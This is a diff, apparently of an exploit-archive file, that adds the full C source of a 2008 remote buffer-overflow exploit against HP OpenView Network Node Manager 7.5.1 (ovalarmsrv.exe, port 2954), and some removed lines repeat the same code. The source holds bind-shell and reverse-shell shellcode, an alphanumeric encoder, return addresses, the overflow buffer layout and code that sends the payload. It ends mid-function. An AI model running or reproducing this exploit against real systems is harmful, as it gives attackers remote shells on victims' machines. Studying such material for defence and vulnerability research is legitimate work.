-		shf->size = sizeof(alphanum_decoder)-1+x;
-	}
-	return 1;
-}
-
-
-int construct_buffer(struct _buf * shf, int target, struct _buf * sbuf)
-{
-	unsigned char * cp = sbuf->ptr;
-
-		// ctl command
-	*cp++='6';
-	*cp++='2';
-	*cp++=' ';
-
-		// overflow
-	memset(cp, 'b', 516);
-	cp+=516;	
-
-		// EIP
-	*cp++ = (char)((targets[target].ret      ) & 0xff);
-	*cp++ = (char)((targets[target].ret >>  8) & 0xff);
-	*cp++ = (char)((targets[target].ret >> 16) & 0xff);
-	*cp++ = (char)((targets[target].ret >> 24) & 0xff);
-
-		// Fix
-	*cp++ = (char)((targets[target].fix      ) & 0xff);
-	*cp++ = (char)((targets[target].fix >>  8) & 0xff);
-	*cp++ = (char)((targets[target].fix >> 16) & 0xff);
-	*cp++ = (char)((targets[target].fix >> 24) & 0xff);
-
-		// JFF
-	*cp++ = '\x90';
-	*cp++ = '\x90';
-	*cp++ = '\x90';
-	*cp++ = '\x90';
-
-		// shellcode
-	memset(cp, '\x41', 1000);		
-	memcpy(cp, shf->ptr, shf->size);
-	cp+=1000;		
-	
-	sbuf->size=(int)(cp-sbuf->ptr);
-	return 1;
-}
-
-
-void extract_ip_and_port( char * &remotehost, int * port, char * str)
-{
-	if (strchr(str,':')==NULL)
-	{
-		remotehost=str;
-	}else 
-	{
-		sscanf(strchr(str,':')+1, "%d", port);
-		remotehost=str;
-		*(strchr(remotehost,':'))='\0';
-	}
-}
-
-
-
-int hr2_connect(char * remotehost, int port, int timeout)
-{
-	SOCKET s;
-	struct hostent *host;
-	struct sockaddr_in addr;
-	TIMEVAL stTime;
-	TIMEVAL *pstTime = NULL;
-	fd_set x;
-	int res;
-
-	if (INFINITE != timeout) 
-	{
-	    stTime.tv_sec = timeout / 1000;
-	    stTime.tv_usec = timeout % 1000;
-	    pstTime = &stTime;
-	}
-
-	host = gethostbyname(remotehost);
-	if (!host) return SOCKET_ERROR;
-
-	addr.sin_addr = *(struct in_addr*)host->h_addr;
-	addr.sin_port = htons(port);
-	addr.sin_family = AF_INET;
-
-	s = socket(AF_INET, SOCK_STREAM, 0);
-	if (s == SOCKET_ERROR)
-	{
-		closesocket(s);
-		return SOCKET_ERROR;
-	}
-
-	unsigned long l = 1;
-	ioctlsocket( s, FIONBIO, &l ) ;
-
-	connect(s, (struct sockaddr*)&addr, sizeof(addr));
-
-	FD_ZERO(&x);
-	FD_SET(s, &x);
-
-	res = select(NULL,NULL,&x,NULL,pstTime);
-	if(res< 0) return SOCKET_ERROR;
-	if(res==0) return 0;
-	return (int)s;
-}
-
-
-int hr2_tcpsend(SOCKET s, unsigned char * buf, unsigned int len, int timeout)
-{
-	return send(s, (char *)buf, len, 0);
-}
-
-int hr2_tcprecv(SOCKET s, unsigned char * buf, unsigned int len, int timeout)
-{
-	TIMEVAL stTime;
-	TIMEVAL *pstTime = NULL;
-	fd_set xy;
-	int res;
-
-	if (INFINITE != timeout) 
-	{
-	    stTime.tv_sec = timeout / 1000;
-	    stTime.tv_usec = timeout % 1000;
-	    pstTime = &stTime;
-	}
-	FD_ZERO(&xy);
-	FD_SET(s, &xy);
-	
-	res = select(NULL,&xy,NULL,NULL,pstTime);
-
-	if(res==0) return 0;
-	if(res<0) return -1;
-
-	return recv(s, (char *)buf, len, 0);
-}
-
-int execute(struct _buf * abuf, char * remotehost, int port)
-{
-	int x;
-	SOCKET s ;
-
-	s = hr2_connect(remotehost, port, 10000);
-	if(s==0)
-	{
-		printf("   [-] connect() timeout\n");
-		return 0;
-	}
-	if(s==SOCKET_ERROR)
-	{
-		printf("   [-] Connection failed\n");
-		return 0;
-	}		
-	x = hr2_tcpsend(s, abuf->ptr, abuf->size, 0);
-	printf("   [+] Sent %d out of %d bytes\n", x, abuf->size);
-
-	closesocket(s);
-	return 1;
-}
-
-// -----------------------------------------------------------------
-// XGetopt.cpp  Version 1.2
-// -----------------------------------------------------------------
-int getopt(int argc, char *argv[], char *optstring)
-{
-	static char *next = NULL;
-	if (optind == 0)
-		next = NULL;
-
-	optarg = NULL;
-
-	if (next == NULL || *next == '\0')
-	{
-		if (optind == 0)
-			optind++;
-
-		if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
-		{
-			optarg = NULL;
-			if (optind < argc)
-				optarg = argv[optind];
-			return EOF;
-		}
-
-		if (strcmp(argv[optind], "--") == 0)
-		{
-			optind++;
-			optarg = NULL;
-			if (optind < argc)
-				optarg = argv[optind];
-			return EOF;
-		}
-
-		next = argv[optind];
-		next++;		// skip past -
-		optind++;
-	}
-
-	char c = *next++;
-	char *cp = strchr(optstring, c);
-
-	if (cp == NULL || c == ':')
-		return '?';
-
-	cp++;
-	if (*cp == ':')
-	{
-		if (*next != '\0')
-		{
-			optarg = next;
-			next = NULL;
-		}
-		else if (optind < argc)
-		{
-			optarg = argv[optind];
-			optind++;
-		}
-		else
-		{
-			return '?';
-		}
-	}
-
-	return c;
-}
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-
-
-void print_info_banner_line(const char * key, const char * val)
-{
-	char temp1[100], temp2[100];
-
-	memset(temp1,0,sizeof(temp1));	
-	memset(temp1, '\x20' , 58 - strlen(val) -1);	
-
-	memset(temp2,0,sizeof(temp2));
-	memset(temp2, '\x20' , 8 - strlen(key));	
-	printf(" #  %s%s: %s%s# \n", key, temp2, val, temp1);	
-
-}
-
-
-
-void usage(char * s)
-{	
-	int j;
-	printf("\n");
-	printf("    Usage: %s -h <host:port> -t <target> -R <ip:port>\n", s);
-	printf("   -------------------------------------------------------------------\n");
-	printf("    Arguments:\n");
-	printf("      -h ........ host to attack, default port: 2954\n");
-	printf("      -t ........ target to use\n");	
-	printf("      -R ........ set reverse IP and port ( e.g. -R 192.168.0.11:9999 )\n");
-	printf("      -T ........ socket timeout\n");
-	printf("\n");
-	printf("    Supported HP NNM versions:\n");
-	for(j=0; targets[j].t!=0;j++)
-	{
-		printf("      %d. %s\n",j+1, targets[j].t);
-	}					
-	printf("\n");
-	for(j=0; shellcodes[j].name!=0;j++)
-	{
-		printf("      %d. %s\n",j+1, shellcodes[j].name);
-	}		
-	end_logo();	
-}
-
-void logo()
-{
-	printf("\n\n");
-	printf(" ####################################################################### \n");	
-	printf(" #     ____                 __  _                  ______  __    _____ #\n");
-	printf(" #    / __ \\________  _____/ /_(_)_________       / __/\\ \\/ /   / _  / #\n");
-	printf(" #   / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___  / /    \\  /   / // /  #\n");
-	printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \\  / ___/   #\n");
-	printf(" # /_____/_/  \\___/ \\_,_/\\__/_/\\___/\\__,_/     /_/     /_/\\_\\/_/       #\n");
-	printf(" #                                 crew                                #\n");
-	printf(" ####################################################################### \n");	
-	printf(" #  Exploit : HP OpenView NNM v7.5.1 ovalarmsrv.exe Remote Exploit     # \n");
-	printf(" #  Author  : Heretic2                                                 # \n");
-	printf(" #  THANKS  : Luigi Auriemma, Metasploit, skylined                     # \n");
-	printf(" #  Research: Luigi Auriemma                                           # \n");
-	printf(" #  Version : 1.0                                                      # \n");
-	printf(" #  System  : Windows ALL                                              # \n");
-	printf(" #  Date    : 07.04.2008                                               # \n");
-	printf(" # ------------------------------------------------------------------- # \n");
-}
-
-void end_logo()
-{
-	printf(" # ------------------------------------------------------------------- # \n");
-	printf(" #                    Dreatica-FXP crew [Heretic2]                     # \n");	
-	printf(" ####################################################################### \n\n");
-}
-
-// milw0rm.com [2008-04-14]
+/* Dreatica-FXP crew
+* 
+* ----------------------------------------
+* Target         : HP OpenView Network Node Manager v7.5
+* ----------------------------------------
+* Exploit        : HP OpenView NNM v7.5.1 ovalarmsrv.exe Remote Buffer Overflow Exploit
+* Exploit date   : 07.04.2008
+* Exploit writer : Heretic2 (heretic2x@gmail.com)
+* OS             : Windows ALL 
+* Crew           : Dreatica-FXP
+* Location       : http://www.milw0rm.com/
+* ----------------------------------------
+* Info           : Vulnerabilty was found by Luigi Auriemma. Sending more than 524 bytes 
+*                  to the 2954 port can overflow the EIP register. Too lazy to research the whole 
+*                  array of badchars, so simply used the alpahnumeric shellcodes. 
+*                  0x00 0x0a 0x20 are bad chars, but i think there are few more.
+*                  I only got the ret address for the 7.5.1 version, but 7.5.3 is also vulnerable. 
+*                  Using the 2954 port i was not able to determine exact version of HP OV
+*                  which runs on the server.
+* ----------------------------------------
+* Thanks to:
+*		1. Luigi Auriemma          ( http://aluigi.org   <aluigi [at] autistici.org> )
+*		2. The Metasploit project  ( http://metasploit.com                           ) 
+*       3. ALPHA 2: Zero-tolerance ( <skylined [at] edup.tudelft.nl>                 ) 
+*		4. Dreatica-FXP crew       (                                                 )
+************************************************************************************
+* This was written for educational purpose only. Use it at your own risk. Author will be not be 
+* responsible for any damage, caused by that code.
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <winsock2.h>
+#include <time.h>
+
+#pragma comment(lib,"ws2_32")
+
+
+void usage(char * s);
+void logo();
+void end_logo();
+void print_info_banner_line(const char * key, const char * val);
+
+void extract_ip_and_port( char * &remotehost, int * port, char * str);
+int fill_payload_args(int sh, int bport, char * reverseip, int reverseport, struct h2readyp * xx);
+
+int hr2_connect(char * remotehost, int port, int timeout);
+int hr2_udpconnect(char * remotehost, int port,  struct sockaddr_in * addr, int timeout);
+int hr2_updsend(char * remotehost, unsigned char * buf, unsigned int len, int port, struct sockaddr_in * addr, int timeout);
+int execute(struct _buf * abuf, char * remotehost, int port);
+
+struct _buf 
+{
+	unsigned char * ptr;
+	unsigned int size;
+};
+int construct_shellcode(int sh, struct _buf * shf, int target, char * reverseip, int reverseport);
+int construct_buffer(struct _buf * shf, int target, struct _buf * abuf);
+
+
+
+
+// -----------------------------------------------------------------
+// XGetopt.cpp  Version 1.2
+// -----------------------------------------------------------------
+int getopt(int argc, char *argv[], char *optstring);
+char	*optarg;		// global argument pointer
+int		optind = 0, opterr; 	// global argv index
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+
+
+struct {
+	const char * name;
+	int length;
+	char *shellcode;	
+}shellcodes[]={ 	
+	{  "BindShell on 9998 [                    ]", 
+		// alphanumeric encoder took from "ALPHA 2: Zero-tolerance." code
+		/*
+		* windows/shell_bind_tcp - 
+		* http://www.metasploit.com
+		* Encoder: generic/none
+		*/	
+		696,
+		"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
+		"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41"
+		"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
+		"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x43"
+		"\x5a\x6a\x4b\x70\x4d\x6b\x58\x59\x69\x4b\x4f\x4b\x4f\x4b\x4f\x53"
+		"\x50\x4c\x4b\x32\x4c\x47\x54\x77\x54\x4c\x4b\x63\x75\x75\x6c\x6e"
+		"\x6b\x31\x6c\x57\x75\x53\x48\x76\x61\x7a\x4f\x6e\x6b\x32\x6f\x56"
+		"\x78\x6c\x4b\x61\x4f\x51\x30\x56\x61\x78\x6b\x32\x69\x6c\x4b\x44"
+		"\x74\x4c\x4b\x46\x61\x38\x6e\x74\x71\x6b\x70\x6f\x69\x4e\x4c\x6f"
+		"\x74\x4b\x70\x51\x64\x77\x77\x39\x51\x78\x4a\x64\x4d\x45\x51\x59"
+		"\x52\x58\x6b\x4c\x34\x65\x6b\x70\x54\x77\x54\x64\x68\x71\x65\x7a"
+		"\x45\x4e\x6b\x73\x6f\x45\x74\x53\x31\x5a\x4b\x33\x56\x4c\x4b\x56"
+		"\x6c\x52\x6b\x6e\x6b\x33\x6f\x35\x4c\x67\x71\x7a\x4b\x74\x43\x36"
+		"\x4c\x6e\x6b\x6b\x39\x30\x6c\x64\x64\x55\x4c\x33\x51\x79\x53\x66"
+		"\x51\x6b\x6b\x51\x74\x6c\x4b\x70\x43\x56\x50\x4c\x4b\x51\x50\x54"
+		"\x4c\x6c\x4b\x34\x30\x35\x4c\x6c\x6d\x4c\x4b\x53\x70\x63\x38\x71"
+		"\x4e\x72\x48\x4c\x4e\x70\x4e\x64\x4e\x58\x6c\x72\x70\x59\x6f\x69"
+		"\x46\x51\x76\x70\x53\x31\x76\x50\x68\x35\x63\x56\x52\x31\x78\x52"
+		"\x57\x73\x43\x74\x72\x71\x4f\x56\x34\x69\x6f\x4e\x30\x35\x38\x7a"
+		"\x6b\x7a\x4d\x6b\x4c\x35\x6b\x70\x50\x49\x6f\x68\x56\x71\x4f\x6e"
+		"\x69\x4d\x35\x30\x66\x4f\x71\x5a\x4d\x45\x58\x75\x52\x33\x65\x32"
+		"\x4a\x77\x72\x79\x6f\x7a\x70\x71\x78\x79\x49\x77\x79\x6c\x35\x4e"
+		"\x4d\x33\x67\x49\x6f\x6b\x66\x50\x53\x62\x73\x53\x63\x46\x33\x50"
+		"\x53\x31\x53\x51\x43\x43\x73\x70\x53\x4b\x4f\x6a\x70\x33\x56\x70"
+		"\x68\x74\x67\x64\x4e\x63\x56\x31\x43\x4d\x59\x4b\x51\x4d\x45\x33"
+		"\x58\x4c\x64\x36\x7a\x70\x70\x4b\x77\x56\x37\x6b\x4f\x4e\x36\x73"
+		"\x5a\x56\x70\x70\x51\x70\x55\x4b\x4f\x4a\x70\x73\x58\x4d\x74\x4c"
+		"\x6d\x76\x4e\x38\x69\x66\x37\x6b\x4f\x6b\x66\x52\x73\x50\x55\x4b"
+		"\x4f\x58\x50\x65\x38\x4b\x55\x43\x79\x4f\x76\x62\x69\x51\x47\x59"
+		"\x6f\x38\x56\x42\x70\x50\x54\x32\x74\x51\x45\x79\x6f\x78\x50\x6e"
+		"\x73\x31\x78\x79\x77\x52\x59\x4f\x36\x73\x49\x62\x77\x4b\x4f\x78"
+		"\x56\x61\x45\x4b\x4f\x5a\x70\x52\x46\x50\x6a\x71\x74\x50\x66\x52"
+		"\x48\x61\x73\x52\x4d\x4b\x39\x6b\x55\x51\x7a\x72\x70\x76\x39\x77"
+		"\x59\x5a\x6c\x6c\x49\x59\x77\x42\x4a\x70\x44\x4c\x49\x58\x62\x50"
+		"\x31\x49\x50\x6b\x43\x4c\x6a\x6b\x4e\x43\x72\x34\x6d\x4b\x4e\x51"
+		"\x52\x44\x6c\x5a\x33\x4e\x6d\x52\x5a\x35\x68\x4e\x4b\x4c\x6b\x4e"
+		"\x4b\x30\x68\x52\x52\x59\x6e\x6f\x43\x32\x36\x4b\x4f\x42\x55\x70"
+		"\x44\x6b\x4f\x6b\x66\x43\x6b\x71\x47\x72\x72\x43\x61\x70\x51\x52"
+		"\x71\x70\x6a\x77\x71\x72\x71\x36\x31\x42\x75\x72\x71\x4b\x4f\x4a"
+		"\x70\x75\x38\x6c\x6d\x58\x59\x47\x75\x7a\x6e\x52\x73\x59\x6f\x7a"
+		"\x76\x30\x6a\x69\x6f\x49\x6f\x70\x37\x4b\x4f\x78\x50\x4e\x6b\x53"
+		"\x67\x59\x6c\x4f\x73\x38\x44\x70\x64\x59\x6f\x4b\x66\x52\x72\x49"
+		"\x6f\x48\x50\x43\x58\x7a\x50\x6f\x7a\x45\x54\x53\x6f\x70\x53\x4b"
+		"\x4f\x6a\x76\x69\x6f\x5a\x70\x41"
+
+	},
+	{  "ReverseShell      [ args: -R <ip:port> ]", 
+		287,
+		/*
+		* windows/shell_reverse_tcp - 287 bytes
+		* http://www.metasploit.com
+		* Encoder: generic/none	
+		*/	
+		"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
+		"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
+		"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
+		"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
+		"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
+		"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
+		"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
+		"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
+		"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
+		"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
+		"\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68\x7f\x00\x00\x01\x66"
+		"\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff"
+		"\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a"
+		"\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95"
+		"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab\x68"
+		"\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
+		"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff"
+		"\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04"
+		"\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6"
+		"\xff\xd0"
+	},
+	{NULL, 0, NULL}
+};
+
+
+ 
+struct _target{
+	const char *t ;
+	unsigned long ret, fix ;
+} targets[]=
+{	
+	{"HP OpenView Network Node Manager  v7.5.1", 0x5a01d78d, 0x5a04d3d0 },
+	{"DOS/Crash/Debug/Test/Fun",                 0x41414141, 0x41414141 },
+	{NULL,                                       0x00000000, 0x00000000 }
+};
+
+
+
+
+// memory for buffers
+unsigned char payloadbuffer[10000], a_buffer[10000];
+long dwTimeout=5000;
+int timeout=5000;
+
+
+// alphanumeric decoder took from "ALPHA 2: Zero-tolerance." code
+char alphanum_decoder[] = 
+		"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
+		"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41"
+		"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
+		"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49";
+// alphanumeric encoder took from "ALPHA 2: Zero-tolerance." code
+int alphanumeric_exec(char *to_encode, int len, char *encoded, int * rlen )
+{
+	int   i,ii=0, input, A, B, C, D, E, F, length=(int)strlen(to_encode);
+	char* valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; // mixed chars
+	char temp[10];
+	memset(temp, 0 , sizeof(temp));	
+	srand((int)clock());  
+	for(ii=0;ii<len;ii++)
+	{
+		input = to_encode[ii];
+		A = (input & 0xf0) >> 4;
+		B = (input & 0x0f);
+		F = B;
+		i = rand() % ((int)strlen(valid_chars));
+		while ((valid_chars[i] & 0x0f) != F) { i = ++i % ((int)strlen(valid_chars)); }
+		E = valid_chars[i] >> 4;
+		D = (A^E);
+		i = rand() % ((int)strlen(valid_chars));
+		while ((valid_chars[i] & 0x0f) != D) { i = ++i % ((int)strlen(valid_chars)); }
+		C = valid_chars[i] >> 4;
+		sprintf(temp,"%c%c", (C<<4)+D, (E<<4)+F);
+		encoded[strlen(encoded)]=temp[0];
+		encoded[strlen(encoded)]=temp[1];
+	}
+	encoded[strlen(encoded)]='A';
+	*rlen=(int)strlen(encoded);
+	return 1;
+
+}
+
+
+int main(int argc, char **argv)
+{
+	char c,*remotehost=NULL,*file=NULL,*reverseip=NULL,*url=NULL,temp1[100];
+	int HAVE_R=0,HAVE_U=0,sh,port=2954,itarget=0,reverseport=9999;
+	struct _buf  fshellcode, sbuffer;
+
+	logo();
+	if(argc<2)
+	{
+		usage(argv[0]);		
+		return -1;
+	}
+
+	WSADATA wsa;
+	WSAStartup(MAKEWORD(2,0), &wsa);
+	// set defaults
+	sh=0;	
+	// ------------	
+	
+	while((c = getopt(argc, argv, "h:t:R:T:"))!= EOF)
+	{
+		switch (c)
+		{
+			case 'h':
+				if (strchr(optarg,':')==NULL)
+				{
+					remotehost=optarg;
+				}else 
+				{
+					sscanf(strchr(optarg,':')+1, "%d", &port);
+					remotehost=optarg;
+					*(strchr(remotehost,':'))='\0';
+				}
+				break; 				
+			case 't':
+				sscanf(optarg, "%d", &itarget);
+				itarget--;
+				break;
+			case 'R':
+				HAVE_R=1;
+				if (strchr(optarg,':')==NULL)
+				{
+					reverseip=optarg;
+				}else 
+				{
+					sscanf(strchr(optarg,':')+1, "%d", &reverseport);
+					reverseip=optarg;
+					*(strchr(reverseip,':'))='\0';
+				}
+				break;			
+			case 'T':				
+				sscanf(optarg, "%ld", &dwTimeout);
+				break; 			
+			default:
+	            usage(argv[0]);
+				WSACleanup();
+			return -1;
+		}		
+	}	
+	sh=HAVE_R;
+
+	if(remotehost == NULL)
+	{
+		printf("   [-] Please enter remotehost\n");
+		end_logo();
+		WSACleanup();
+		return -1;
+	}
+	print_info_banner_line("Host", remotehost);
+	sprintf(temp1, "%d", port);
+	print_info_banner_line("Port", temp1);
+	print_info_banner_line("Payload", shellcodes[sh].name);
+
+	if(sh==0)
+	{		
+		sprintf(temp1, "%d", 9998);
+		print_info_banner_line("BINDPort", temp1);
+	}
+	if(sh==1)
+	{
+		print_info_banner_line("CB IP", reverseip);
+		sprintf(temp1, "%d", reverseport);
+		print_info_banner_line("CB port", temp1);
+	}
+	printf(" # ------------------------------------------------------------------- # \n");
+	fflush(stdout);
+
+
+	memset(payloadbuffer, 0, sizeof(payloadbuffer));
+	fshellcode.ptr=payloadbuffer;
+	fshellcode.size=0;	
+
+	memset(a_buffer, 0, sizeof(a_buffer));
+	sbuffer.ptr=a_buffer;
+	sbuffer.size=0;
+
+	if(!construct_shellcode(sh, &fshellcode, itarget, reverseip, reverseport))
+	{
+		end_logo();
+		WSACleanup();
+		return -1;
+	}
+
+	printf("   [+] Payload constructed\n");
+	
+	if(!construct_buffer(&fshellcode, itarget, &sbuffer))
+	{
+		printf("   [-] Buffer not constructed\n");
+		end_logo();
+		WSACleanup();
+		return -1;
+	}
+	printf("   [+] Final buffer constructed\n");
+	
+
+	if(!execute(&sbuffer, remotehost, port))
+	{
+		printf("   [-] Buffer not sent\n");
+		end_logo();
+		WSACleanup();
+		return -1;
+	}
+	printf("   [+] Buffer sent\n");
+	
+	end_logo();
+	WSACleanup();
+	return 0;
+}
+
+int construct_shellcode(int sh, struct _buf * shf, int target, char * rerverseip, int reverseport)
+{
+	int x;
+	char fsh[1000];
+
+	memcpy(shf->ptr, shellcodes[sh].shellcode, shellcodes[sh].length);
+	shf->size=shellcodes[sh].length;
+	if(sh==1)
+	{		
+		memset(shf->ptr,0,shf->size+1);
+		memset(fsh,0,sizeof(fsh));
+		memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);
+		
+
+		static struct hostent *host = gethostbyname(rerverseip);
+		static struct sockaddr_in addr;
+		if(host == NULL)
+		{
+			printf("   [-] Reverse ip/hostanme is invalid\n");
+			return 0;
+		}
+
+		addr.sin_addr = *(struct in_addr*)host->h_addr;
+		fsh[160] = (addr.sin_addr.S_un.S_un_b.s_b1) ;
+		fsh[161] = (addr.sin_addr.S_un.S_un_b.s_b2) ;
+		fsh[162] = (addr.sin_addr.S_un.S_un_b.s_b3) ;
+		fsh[163] = (addr.sin_addr.S_un.S_un_b.s_b4) ;
+        
+		fsh[166] = ((reverseport >> 8) & 0xff) ;
+		fsh[167] = ((reverseport     ) & 0xff) ;	
+		
+		memcpy(shf->ptr,alphanum_decoder,sizeof(alphanum_decoder)-1);
+		alphanumeric_exec(fsh, shellcodes[sh].length, (char*)(shf->ptr+sizeof(alphanum_decoder)-1), &x);
+		shf->size = sizeof(alphanum_decoder)-1+x;
+	}
+	return 1;
+}
+
+
+int construct_buffer(struct _buf * shf, int target, struct _buf * sbuf)
+{
+	unsigned char * cp = sbuf->ptr;
+
+		// ctl command
+	*cp++='6';
+	*cp++='2';
+	*cp++=' ';
+
+		// overflow
+	memset(cp, 'b', 516);
+	cp+=516;	
+
+		// EIP
+	*cp++ = (char)((targets[target].ret      ) & 0xff);
+	*cp++ = (char)((targets[target].ret >>  8) & 0xff);
+	*cp++ = (char)((targets[target].ret >> 16) & 0xff);
+	*cp++ = (char)((targets[target].ret >> 24) & 0xff);
+
+		// Fix
+	*cp++ = (char)((targets[target].fix      ) & 0xff);
+	*cp++ = (char)((targets[target].fix >>  8) & 0xff);
+	*cp++ = (char)((targets[target].fix >> 16) & 0xff);
+	*cp++ = (char)((targets[target].fix >> 24) & 0xff);
+
+		// JFF
+	*cp++ = '\x90';
+	*cp++ = '\x90';
+	*cp++ = '\x90';
+	*cp++ = '\x90';
+
+		// shellcode
+	memset(cp, '\x41', 1000);		
+	memcpy(cp, shf->ptr, shf->size);
+	cp+=1000;		
+	
+	sbuf->size=(int)(cp-sbuf->ptr);
+	return 1;
+}
+
+
+void extract_ip_and_port( char * &remotehost, int * port, char * str)
+{
+	if (strchr(str,':')==NULL)
+	{
+		remotehost=str;
+	}else 
+	{
+		sscanf(strchr(str,':')+1, "%d", port);
+		remotehost=str;
+		*(strchr(remotehost,':'))='\0';
+	}
+}
+
+
+
+int hr2_connect(char * remotehost, int port, int timeout)
+{
+	SOCKET s;
+	struct hostent *host;
+	struct sockaddr_in addr;
+	TIMEVAL stTime;
+	TIMEVAL *pstTime = NULL;
+	fd_set x;
+	int res;
+
+	if (INFINITE != timeout) 
+	{
+	    stTime.tv_sec = timeout / 1000;
+	    stTime.tv_usec = timeout % 1000;
+	    pstTime = &stTime;
+	}
+
+	host = gethostbyname(remotehost);
+	if (!host) return SOCKET_ERROR;
+
+	addr.sin_addr = *(struct in_addr*)host->h_addr;
+	addr.sin_port = htons(port);
+	addr.sin_family = AF_INET;
+
+	s = socket(AF_INET, SOCK_STREAM, 0);
+	if (s == SOCKET_ERROR)
+	{
+		closesocket(s);
+		return SOCKET_ERROR;
+	}
+
+	unsigned long l = 1;
+	ioctlsocket( s, FIONBIO, &l ) ;
+
+	connect(s, (struct sockaddr*)&addr, sizeof(addr));
+
+	FD_ZERO(&x);
+	FD_SET(s, &x);
+
+	res = select(NULL,NULL,&x,NULL,pstTime);
+	if(res< 0) return SOCKET_ERROR;
+	if(res==0) return 0;
+	return (int)s;
+}
+
+
+int hr2_tcpsend(SOCKET s, unsigned char * buf, unsigned int len, int timeout)
+{
+	return send(s, (char *)buf, len, 0);
+}
+
+int hr2_tcprecv(SOCKET s, unsigned char * buf, unsigned int len, int timeout)
+{
+	TIMEVAL stTime;
+	TIMEVAL *pstTime = NULL;
+	fd_set xy;
+	int res;
+
+	if (INFINITE != timeout) 
+	{
+	    stTime.tv_sec = timeout / 1000;
+	    stTime.tv_usec = timeout % 1000;
+	    pstTime = &stTime;
+	}
+	FD_ZERO(&xy);
+	FD_SET(s, &xy);
+	
+	res = select(NULL,&xy,NULL,NULL,pstTime);
+
+	if(res==0) return 0;
+	if(res<0) return -1;
+
+	return recv(s, (char *)buf, len, 0);
+}
+
+int execute(struct _buf * abuf, char * remotehost, int port)
+{
+	int x;
+	SOCKET s ;
+
+	s = hr2_connect(remotehost, port, 10000);
+	if(s==0)
+	{
+		printf("   [-] connect() timeout\n");
+		return 0;
+	}
+	if(s==SOCKET_ERROR)
+	{
+		printf("   [-] Connection failed\n");
+		return 0;
+	}		
+	x = hr2_tcpsend(s, abuf->ptr, abuf->size, 0);
+	printf("   [+] Sent %d out of %d bytes\n", x, abuf->size);
+
+	closesocket(s);
+	return 1;
+}
+
+// -----------------------------------------------------------------
+// XGetopt.cpp  Version 1.2
+// -----------------------------------------------------------------
+int getopt(int argc, char *argv[], char *optstring)
+{
+	static char *next = NULL;
+	if (optind == 0)
+		next = NULL;
+
+	optarg = NULL;
+
+	if (next == NULL || *next == '\0')
+	{
+		if (optind == 0)
+			optind++;
+
+		if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
+		{
+			optarg = NULL;
+			if (optind < argc)
+				optarg = argv[optind];
+			return EOF;
+		}
+
+		if (strcmp(argv[optind], "--") == 0)
+		{
+			optind++;
+			optarg = NULL;
+			if (optind < argc)
+				optarg = argv[optind];
+			return EOF;
+		}
+
+		next = argv[optind];
+		next++;		// skip past -
+		optind++;
+	}
+
+	char c = *next++;
+	char *cp = strchr(optstring, c);
+
+	if (cp == NULL || c == ':')
+		return '?';
+
+	cp++;
+	if (*cp == ':')
+	{
+		if (*next != '\0')
+		{
+			optarg = next;
+			next = NULL;
+		}
+		else if (optind < argc)
+		{
+			optarg = argv[optind];
+			optind++;
+		}
+		else
+		{
+			return '?';
+		}
+	}
+
+	return c;
+}
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+
+
+void print_info_banner_line(const char * key, const char * val)
+{
+	char temp1[100], temp2[100];
+
+	memset(temp1,0,sizeof(temp1));	
+	memset(temp1, '\x20' , 58 - strlen(val) -1);	
+
+	memset(temp2,0,sizeof(temp2));
+	memset(temp2, '\x20' , 8 - strlen(key));	
